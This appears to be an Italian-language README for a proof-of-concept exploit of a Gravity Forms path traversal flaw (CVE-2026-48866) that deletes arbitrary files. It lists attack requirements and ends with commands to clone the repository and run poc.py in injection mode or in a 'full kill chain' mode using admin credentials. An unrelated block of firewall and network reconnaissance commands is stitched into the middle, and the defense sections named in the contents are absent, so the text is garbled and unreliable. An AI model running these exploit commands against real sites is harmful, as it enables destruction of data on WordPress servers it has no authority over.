
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Eliminazione arbitraria di file tramite Path Traversal (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code> accetta <code>../</code> negli URL. Il clic di eliminazione di un amministratore attiva la cancellazione arbitraria di file.
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Commit corretto</a> •
<a href="https://github.com/codewurker/gravityforms">Mirror del sorgente</a>
</p>
---
## Indice
<table>
<tr>
<td width="50%">
**Exploit**
- [Avvio rapido](#avvio-rapido)
- [Come funziona](#come-funziona)
- [Impatto](#impatto)
- [Uso](#uso)
</td>
<td width="50%">
**Difesa**
- [Analisi tecnica approfondita](#analisi-tecnica-approfondita)
- [Rilevamento](#rilevamento)
- [Risoluzione](#risoluzione)
- [Riferimenti](#riferimenti)
</td>
</tr>
</table>
---
## Avvio rapido```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
arp -aEsegue una scansione ARP per identificare i dispositivi sul segmento di rete locale, incluso il gateway predefinito. Questo è utile perché il traffico ARP spesso bypassa le regole del firewall.
| Command | Description | Result |
|---|---|---|
arp -a | Mostra le attuali voci ARP interrogando la cache ARP. Visualizza la mappatura tra indirizzi IP e indirizzi MAC dei dispositivi sulla rete locale. Questo è utile per identificare se la macchina sta comunicando con un gateway o altri host, anche se il firewall blocca altro traffico. | ``` |
| Interface: 192.168.1.100 --- 0x3 | ||
| Internet Address Physical Address Type | ||
| 192.168.1.1 00-14-22-01-23-45 dynamic |
| `arp -a` | Se questo comando mostra una voce per l'indirizzo IP del router, indica che la macchina ha recentemente comunicato con il router. La mancanza di voci ARP può significare che la cache ARP è stata cancellata, o che la rete è isolata. | |
### `ping -n 1 <router_ip>`
Tenta di inviare una singola richiesta Echo ICMP. Molti firewall bloccano ICMP, ma se viene ricevuta una risposta, rivela la presenza di un host e la capacità di comunicare a livello IP.
| Command | Description | Result |
|---------|-------------|--------|
| `ping -n 1 <target>` | Invia una singola richiesta Echo ICMP al target. Se ha successo, ICMP non è bloccato. Se fallisce, ICMP potrebbe essere filtrato. | ```
Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=14ms TTL=117
``` |
Nota: Molti sistemi e reti moderni bloccano ICMP per impostazione predefinita, quindi un fallimento non significa necessariamente che sia presente un firewall.
## Firewall Rules Detection
Questo modulo tenta di creare un quadro abbastanza completo delle regole del firewall applicate al sistema, che si tratti di iptables, nftables, pf o Windows Firewall.
| Command | Description | Result |
|---------|-------------|--------|
| `iptables -L -n -v` | Rileva se iptables è presente e elenca le regole. Questo è il firewall standard di Linux. | ```
Chain INPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
``` |
| `nft list ruleset` | Rileva se nftables è presente e elenca le regole (firewall Linux più recente). | ```
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
ct state established,related accept
}
}
``` |
| `netsh advfirewall firewall show rule name=all` | Rileva le regole del firewall di Windows (richiede privilegi di amministratore). | ```
Rule Name: File and Printer Sharing (Echo Request - ICMPv4-In)
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
...
``` |
| `pfctl -sr` | Rileva se pf (Packet Filter) è presente e elenca le regole (BSD/macOS). | ```
block in all
pass in proto tcp from any to any port = ssh
pass out all
``` |
| `systemctl status iptables` | Verifica se il servizio iptables è in esecuzione (sistemi systemd). | ```
● iptables.service - iptables firewall
Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled)
Active: active (exited) since Mon 2023-01-01 00:00:00 UTC; 1 day ago
``` |```bash
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests
# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3
# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'